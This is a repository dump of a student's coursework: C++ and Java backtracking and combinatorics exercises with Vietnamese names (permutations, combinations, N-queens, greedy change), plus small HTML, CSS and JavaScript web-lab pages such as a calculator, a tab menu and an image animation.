/CTDLGT_NangCao_CoVuThiVan/lietke/2QuayLuiInDayNhiPhan2.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, arr[100]; 6 | 7 | void in() { 8 | for(int i = 0; i < n; i++) { 9 | cout << arr[i]; 10 | } 11 | cout << endl; 12 | } 13 | 14 | void deQuy(int i){ 15 | for (int j = 0; j <= 1; j++){ 16 | arr[i] = 1 - j; 17 | if (i == n - 1) 18 | in(); 19 | else 20 | deQuy(i + 1); 21 | 22 | } 23 | } 24 | 25 | int main() { 26 | cin >> n; 27 | deQuy(0); 28 | return 0; 29 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/3QuayluiHoanvi1.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, arr[100]; 6 | 7 | int UCV(int j, int k) { 8 | for (int i=1; i <= k-1; i++) 9 | if (j == arr[i]) return 0; 10 | return 1; 11 | } 12 | 13 | void in() { 14 | for(int i = 0; i < n; i++) { 15 | cout << " " << n - arr[i + 1] + 1; 16 | } 17 | cout << endl; 18 | } 19 | 20 | void deQuy(int i){ 21 | for (int j = 1; j <= n; j++){ 22 | if(UCV(j, i) == 1) { 23 | arr[i] = j; 24 | if(i == n) in(); 25 | else deQuy(i + 1); 26 | } 27 | } 28 | } 29 | 30 | int main() { 31 | cin >> n; 32 | deQuy(1); 33 | return 0; 34 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/4QuayLuiHoanVi2.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, arr[100], data[100]; 6 | 7 | void swap(int &a, int &b){ 8 | int temp =a; 9 | a=b; 10 | b=temp; 11 | } 12 | 13 | void sortArr(int a[], int n){ 14 | for(int i=1;i<=n-1;i++) 15 | for(int j=i+1;j<=n;j++){ 16 | if(a[i]>a[j]){ 17 | swap(a[i], a[j]); 18 | } 19 | } 20 | } 21 | 22 | int UCV(int j, int k) { 23 | for (int i=1; i <= k-1; i++) 24 | if (j == arr[i]) return 0; 25 | return 1; 26 | } 27 | 28 | void in() { 29 | for(int i = 0; i < n; i++) { 30 | cout << " " << data[arr[i + 1]]; 31 | } 32 | cout << endl; 33 | } 34 | 35 | void deQuy(int i){ 36 | for (int j = 1; j <= n; j++){ 37 | if(UCV(j, i) == 1) { 38 | arr[i] = j; 39 | if(i == n) in(); 40 | else deQuy(i + 1); 41 | } 42 | } 43 | } 44 | 45 | int main() { 46 | cin >> n; 47 | for(int i = 1; i <= n; i++) { 48 | cin >> data[i]; 49 | } 50 | sortArr(data, n); 51 | deQuy(1); 52 | return 0; 53 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/5QuayLuiChinhHop.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, k, *arr; 6 | 7 | int UCV(int j, int l) { 8 | for (int i=1; i <= l-1; i++) 9 | if (j == arr[i]) return 0; 10 | return 1; 11 | } 12 | 13 | void in() { 14 | for(int i = 0; i < k; i++) { 15 | cout << " " << arr[i + 1]; 16 | } 17 | cout << endl; 18 | } 19 | 20 | void deQuy(int i){ 21 | for (int j = 1; j <= n; j++){ 22 | if(UCV(j, i) == 1) { 23 | arr[i] = j; 24 | if(i == k) in(); 25 | else deQuy(i + 1); 26 | } 27 | } 28 | } 29 | 30 | int main() { 31 | cin >> n >> k; 32 | arr = new int[k + 1]; 33 | deQuy(1); 34 | return 0; 35 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/6QuayLuiToHop1.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, k, arr[100]; 6 | 7 | void in() { 8 | for(int i = 0; i < k; i++) { 9 | cout << arr[i + 1] << " "; 10 | } 11 | cout << endl; 12 | } 13 | 14 | void deQuy(int i){ 15 | for (int j = arr[i - 1] + 1; j <= n - k + i; j++){ 16 | arr[i] = j; 17 | if(i == k) in(); 18 | else deQuy(i + 1); 19 | } 20 | } 21 | 22 | int main() { 23 | cin >> n >> k; 24 | arr[0] = 0; 25 | deQuy(1); 26 | return 0; 27 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/7QuayLuiToHop2.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, k, arr[100]; 6 | 7 | void in() { 8 | for(int i = 0; i < k; i++) { 9 | cout << n - arr[i + 1] + 1 << " "; 10 | } 11 | cout << endl; 12 | } 13 | 14 | void deQuy(int i){ 15 | for (int j = arr[i - 1] + 1; j <= n - k + i; j++){ 16 | arr[i] = j; 17 | if(i == k) in(); 18 | else deQuy(i + 1); 19 | } 20 | } 21 | 22 | int main() { 23 | cin >> n >> k; 24 | arr[0] = 0; 25 | deQuy(1); 26 | return 0; 27 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/8QuayLuiXepQuanHau.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, *arr, *c, *c1, *c2, dem = 0; 6 | 7 | void init() { 8 | for(int i = 0; i < n; i++) { 9 | c[i + 1] = 1; 10 | } 11 | for(int i = 0; i < 2 * n; i++) { 12 | c1[i + 1] = c2[i + 1] = 1; 13 | } 14 | cout << endl; 15 | } 16 | 17 | void in() { 18 | printf("Solution %2d: ", ++dem); 19 | for(int i = 0; i < n; i++) { 20 | cout << " " << arr[i + 1]; 21 | } 22 | cout << endl; 23 | } 24 | 25 | int check(int i, int j) { 26 | if (c[j] == 0 || c1[i - j + n] == 0 || c2[i + j - 1] == 0) 27 | return 0; 28 | return 1; 29 | } 30 | 31 | void deQuy(int i) { 32 | for (int j = 1; j <= n; j++) 33 | if (check(i, j)) { 34 | arr[i] = j; 35 | c[j] = c1[i - j + n] = c2[i + j - 1] = 0; 36 | if (i == n) 37 | in(); 38 | else 39 | deQuy(i + 1); 40 | c[j] = c1[i - j + n] = c2[i + j - 1] = 1; 41 | } 42 | } 43 | 44 | int main() { 45 | cin >> n; 46 | arr = new int[n + 1]; 47 | c = new int[n + 1]; 48 | c1 = new int[2 * n + 1]; 49 | c2 = new int[2 * n + 1]; 50 | init(); 51 | deQuy(1); 52 | return 0; 53 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/QuayLuiOcSenAnRau.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, m, y, x, **arr, dx[4] = {0, 0, -1, 1}, dy[4] = {-1, 1, 0, 0}; 6 | 7 | int checkXY(int cx, int cy) { 8 | if(cx < 0 || cx > m - 1 || cy < 0 || cy > n - 1) { 9 | return 0; 10 | } 11 | return 1; 12 | } 13 | 14 | int deQuy(int ox, int oy, int c){ 15 | int count = c; 16 | for(int i = 0; i < 4; i++) { 17 | int cx = dx[i] + ox; 18 | int cy = dy[i] + oy; 19 | if(checkXY(cx, cy) && arr[cy][cx] == 0) { 20 | arr[cy][cx] = -1; 21 | count += deQuy(cx, cy, 1); 22 | } 23 | } 24 | return count; 25 | } 26 | 27 | int main() { 28 | cin >> n >> m >> y >> x; 29 | arr = new int*[n]; 30 | for(int i = 0; i < n; i++) 31 | arr[i] = new int[m]; 32 | for(int i = 0; i < n; i++) { 33 | for(int j = 0; j < m; j++) { 34 | cin >> arr[i][j]; 35 | } 36 | } 37 | arr[y - 1][x - 1] = -1; 38 | cout << deQuy(x - 1, y - 1, 1); 39 | 40 | return 0; 41 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/SinhHoanVi1.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int n, arr[100], stop = 0, temp; 6 | 7 | void in() { 8 | for(int i = 0; i < n; i++) { 9 | cout << " " << arr[i]; 10 | } 11 | cout << endl; 12 | } 13 | 14 | void init() { 15 | for(int i = 0; i < n; i++) { 16 | arr[i] = n - i; 17 | } 18 | } 19 | 20 | void sinh() { 21 | int i = n - 2; 22 | while(i >= 0 && arr[i] < arr[i + 1]) { 23 | i--; 24 | } 25 | if(i == -1) stop = 1; 26 | else { 27 | int j = n - 1; 28 | while(arr[i] < arr[j]) j--; 29 | temp = arr[i]; 30 | arr[i] = arr[j]; 31 | arr[j] = temp; 32 | int l = i + 1, r = n - 1; 33 | while(l < r) { 34 | temp = arr[l]; 35 | arr[l] = arr[r]; 36 | arr[r] = temp; 37 | l++; 38 | r--; 39 | } 40 | } 41 | } 42 | 43 | int main() 44 | { 45 | cin >> n; 46 | init(); 47 | while(!stop) { 48 | in(); 49 | sinh(); 50 | } 51 | return 0; 52 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/SinhInDayNhiPhan1.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int[] arr; 7 | public static int N; 8 | public static boolean stop = false; 9 | public static void in() { 10 | for(int i = 0; i < N; i++) { 11 | System.out.printf("%d", arr[i]); 12 | } 13 | System.out.println(""); 14 | } 15 | 16 | public static void init() { 17 | for(int i = 0; i < N; i++) { 18 | arr[i] = 0; 19 | } 20 | } 21 | 22 | public static void sinh() { 23 | int i = N - 1; 24 | while(i >= 0 && arr[i] == 1) { 25 | arr[i] = 0; 26 | i--; 27 | } 28 | if(i == -1) stop = true; 29 | else arr[i] = 1; 30 | } 31 | 32 | public static void main (String[] args) throws java.lang.Exception { 33 | Scanner s = new Scanner(System.in); 34 | N = s.nextInt(); 35 | arr = new int[N]; 36 | init(); 37 | while(!stop) { 38 | in(); 39 | sinh(); 40 | } 41 | } 42 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/lietke/SinhToHop1.txt: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | import java.lang.*; 3 | 4 | class Main 5 | { 6 | public static int[] arr; 7 | public static int N, K; 8 | public static boolean stop = false; 9 | public static void in() { 10 | for(int i = 0; i < K; i++) { 11 | System.out.printf("%d ", arr[i]); 12 | } 13 | System.out.println(""); 14 | } 15 | 16 | public static void init() { 17 | for(int i = 0; i < K; i++) { 18 | arr[i] = i + 1; 19 | } 20 | } 21 | 22 | public static void sinh() { 23 | int i = K - 1; 24 | while(i >= 0 && arr[i] == N - K + i + 1) { 25 | i--; 26 | } 27 | if(i == -1) stop = true; 28 | else { 29 | arr[i]++; 30 | for(int j = i + 1; j < K; j++) { 31 | arr[j] = arr[j - 1] + 1; 32 | } 33 | } 34 | } 35 | 36 | public static void main (String[] args) throws java.lang.Exception { 37 | Scanner s = new Scanner(System.in); 38 | N = s.nextInt(); 39 | K = s.nextInt(); 40 | arr = new int[K]; 41 | init(); 42 | while(!stop) { 43 | in(); 44 | sinh(); 45 | } 46 | } 47 | } -------------------------------------------------------------------------------- /CTDLGT_NangCao_CoVuThiVan/thamlam/ThamLamDoiTien.txt: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | int main() 6 | { 7 | int n, len = 6, count = 0; 8 | int a[len] = {1, 5, 10, 50, 100, 500}; 9 | cin >> n; 10 | int arr[n]; 11 | for(int i = 0; i < n; i ++) { 12 | cin >> arr[i]; 13 | } 14 | for(int i = 0; i < n; i ++) { 15 | int m = 1000 - arr[i]; 16 | for(int j = len - 1; j >= 0; j--) { 17 | count += m / a[j]; 18 | m %= a[j]; 19 | } 20 | cout << count << endl; 21 | count = 0; 22 | } 23 | return 0; 24 | } -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/Banner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/Banner.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/banner.png -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/bgmenu.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/bgmenu.gif -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/hoixd_logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/hoixd_logo.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_1VS.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_1VS.gif -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_VnDG.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_VnDG.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_bvtnmt1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_bvtnmt1.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_cenforchil.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_cenforchil.gif -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_hcauduonghcm.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_hcauduonghcm.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_hoisuhoc.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_hoisuhoc.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_khds.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_khds.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_nxbtt.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_nxbtt.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_thiennhien.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_thiennhien.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_undp.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_undp.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_vacpa.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_vacpa.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_vdkt.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_vdkt.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_vhgd.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_vhgd.gif -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/images/logo_vifotec.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/7.5/images/logo_vifotec.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/7.5/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | .container { 7 | max-width: 1000px; 8 | margin: auto; 9 | } 10 | img { 11 | width: 100%; 12 | } 13 | 14 | #middle { 15 | display: flex; 16 | } 17 | 18 | #left, 19 | #right { 20 | padding: 5px; 21 | width: 180px; 22 | display: flex; 23 | flex-direction: column; 24 | } 25 | 26 | #center { 27 | flex: 1; 28 | } 29 | 30 | #left .nav { 31 | display: flex; 32 | flex-direction: column; 33 | gap: 5px; 34 | } 35 | 36 | #left .nav button { 37 | border: 1px solid gray; 38 | border-radius: 4px; 39 | padding: 10px 0px; 40 | background-image: linear-gradient(white, white, rgb(163, 163, 236)); 41 | color: brown; 42 | font-weight: 700; 43 | } 44 | 45 | .img { 46 | width: 100%; 47 | margin-top: 5px; 48 | border: 2px solid brown; 49 | } 50 | 51 | #bottom { 52 | background-color: brown; 53 | height: 240px; 54 | } 55 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/cv/imgs/laydy_loki.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/cv/imgs/laydy_loki.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab2/info/imgs/laydy_loki.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab2/info/imgs/laydy_loki.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.10/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 12 |
13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 |
40 |
41 | 42 | 43 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.10/main.js: -------------------------------------------------------------------------------- 1 | const btns = document.querySelectorAll(".caculator button"); 2 | const input = document.querySelector(".input"); 3 | 4 | btns.forEach((el) => { 5 | el.addEventListener("click", () => { 6 | let text = el.textContent; 7 | if (text === "C") { 8 | input.value = input.value.slice(0, -1); 9 | } else if (text === "CE") { 10 | input.value = ""; 11 | } else if (text === "+/-") { 12 | input.value = ""; 13 | } else if (text === "=") { 14 | input.value = eval(input.value); 15 | } else { 16 | input.value += text; 17 | } 18 | }); 19 | }); 20 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.10/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | .container { 7 | height: 100vh; 8 | width: 100vw; 9 | display: flex; 10 | flex-direction: column; 11 | align-items: center; 12 | justify-content: center; 13 | } 14 | 15 | .caculator { 16 | display: grid; 17 | grid-template-columns: 1fr 1fr 1fr 1fr 1fr; 18 | gap: 10px; 19 | border: 1px solid gray; 20 | border-radius: 10px; 21 | padding: 10px; 22 | } 23 | 24 | .caculator .input { 25 | grid-column-start: 1; 26 | grid-column-end: 4; 27 | } 28 | 29 | .caculator .col-3 { 30 | grid-column-start: 3; 31 | grid-column-end: 6; 32 | } 33 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.11/imgs/1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab3/7.11/imgs/1.PNG -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.11/imgs/2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab3/7.11/imgs/2.PNG -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.11/imgs/3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab3/7.11/imgs/3.PNG -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.11/imgs/4.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab3/7.11/imgs/4.PNG -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.11/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 12 |
13 |
14 | 15 | 16 | 17 | 18 |
19 |
20 | 21 | 22 |
23 |
24 | 25 | 26 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.11/main.js: -------------------------------------------------------------------------------- 1 | let btnJump = document.querySelector("#jump"); 2 | let btnStop = document.querySelector("#stop"); 3 | let imgs = document.querySelectorAll(".img img"); 4 | 5 | let index = 0; 6 | changeImgs(index); 7 | let intervalId; 8 | 9 | btnJump.addEventListener("click", () => { 10 | intervalId = setInterval(() => { 11 | index++; 12 | index = index === 4 ? 0 : index; 13 | changeImgs(index); 14 | }, 500); 15 | }); 16 | 17 | btnStop.addEventListener("click", () => { 18 | if (intervalId) clearInterval(intervalId); 19 | }); 20 | 21 | function changeImgs(i) { 22 | imgs.forEach((el, id) => { 23 | if (id === i) el.classList.remove("none"); 24 | else el.classList.add("none"); 25 | }); 26 | } 27 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.11/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | img { 7 | width: 100%; 8 | height: 100%; 9 | object-fit: cover; 10 | } 11 | 12 | .container { 13 | height: 100vh; 14 | width: 100vw; 15 | display: flex; 16 | flex-direction: column; 17 | align-items: center; 18 | justify-content: center; 19 | } 20 | 21 | .img { 22 | width: 100px; 23 | height: 200px; 24 | } 25 | 26 | .none { 27 | display: none; 28 | } 29 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.12/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 12 |
13 |
14 | 15 | 16 |
17 |
18 |
19 | 20 | 21 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.12/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | .container { 8 | height: 100vh; 9 | width: 100vw; 10 | display: flex; 11 | flex-direction: column; 12 | align-items: center; 13 | justify-content: center; 14 | } 15 | 16 | table { 17 | margin-top: 10px; 18 | border-collapse: collapse; 19 | } 20 | 21 | td, 22 | th { 23 | border: 1px solid #dddddd; 24 | text-align: left; 25 | padding: 8px; 26 | } 27 | 28 | th { 29 | cursor: pointer; 30 | } 31 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.5/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 14 |
18 | 19 | 20 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.7/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 12 |
13 |
    14 |
    15 |
    16 | 17 | 18 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.7/main.js: -------------------------------------------------------------------------------- 1 | const data = [ 2 | "Quản lý cán bộ (Đăng ký thông tin)", 3 | "Phân quyền", 4 | "Cổng thông tin đào tào và người học", 5 | "Quản lý văn bản và hồ sơ công việc", 6 | "Hành chính công", 7 | "Hệ thống thông tin báo cáo", 8 | ]; 9 | 10 | let activeIndex = 0; 11 | const list = document.querySelector("#list"); 12 | 13 | function renderList() { 14 | let ctx = data 15 | .map( 16 | (el, index) => 17 | `
  • » ${el}
  • ` 20 | ) 21 | .join(""); 22 | list.innerHTML = ctx; 23 | document.querySelector("#content").innerHTML = `» ${data[activeIndex]}`; 24 | document.querySelectorAll("#list li").forEach((el, index) => { 25 | el.addEventListener("click", () => { 26 | activeIndex = index; 27 | renderList(); 28 | }); 29 | }); 30 | } 31 | 32 | renderList(); 33 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.7/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | .container { 8 | display: flex; 9 | } 10 | 11 | ul { 12 | list-style: none; 13 | } 14 | 15 | #list li { 16 | width: 300px; 17 | background-color: rgb(211, 211, 211); 18 | padding: 5px; 19 | color: rebeccapurple; 20 | transition: all 0.25s ease-in-out; 21 | cursor: pointer; 22 | } 23 | 24 | #list li:hover { 25 | background-color: aliceblue; 26 | } 27 | 28 | #list li.active { 29 | background-color: aqua; 30 | } 31 | 32 | #list li + li { 33 | border-top: 1px solid white; 34 | } 35 | 36 | #content { 37 | color: blue; 38 | padding-left: 10px; 39 | } 40 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.8/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 12 |
    13 |
      14 |
    • Tab 1
    • 15 |
    • Tab 2
    • 16 |
    • Tab 3
    • 17 |
    • Tab 4
    • 18 |
    19 |
    20 |
    21 | 22 | 23 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.8/main.js: -------------------------------------------------------------------------------- 1 | const data = ["Tab 1", "Tab 2", "Tab 3", "Tab 4"]; 2 | 3 | let activeIndex = 0; 4 | const list = document.querySelector("#list"); 5 | 6 | function renderList() { 7 | let ctx = data 8 | .map( 9 | (el, index) => 10 | `
  • ${el}
  • ` 11 | ) 12 | .join(""); 13 | list.innerHTML = ctx; 14 | document.querySelector("#content").innerHTML = `Web ${data[activeIndex]}`; 15 | document.querySelectorAll("#list li").forEach((el, index) => { 16 | el.addEventListener("click", () => { 17 | activeIndex = index; 18 | renderList(); 19 | }); 20 | }); 21 | } 22 | 23 | renderList(); 24 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.8/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | .container { 8 | } 9 | 10 | ul { 11 | list-style: none; 12 | } 13 | 14 | #list { 15 | display: flex; 16 | } 17 | 18 | #list li { 19 | width: 70px; 20 | background-color: rgb(211, 211, 211); 21 | padding: 5px; 22 | color: rebeccapurple; 23 | transition: all 0.25s ease-in-out; 24 | cursor: pointer; 25 | text-align: center; 26 | } 27 | 28 | #list li:hover { 29 | background-color: aliceblue; 30 | } 31 | 32 | #list li.active { 33 | background-color: aqua; 34 | } 35 | 36 | #list li + li { 37 | border-left: 1px solid white; 38 | } 39 | 40 | #content { 41 | padding-top: 20px; 42 | } 43 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.9/imgs/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lab3/7.9/imgs/folder.png -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.9/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 | 11 | 12 |
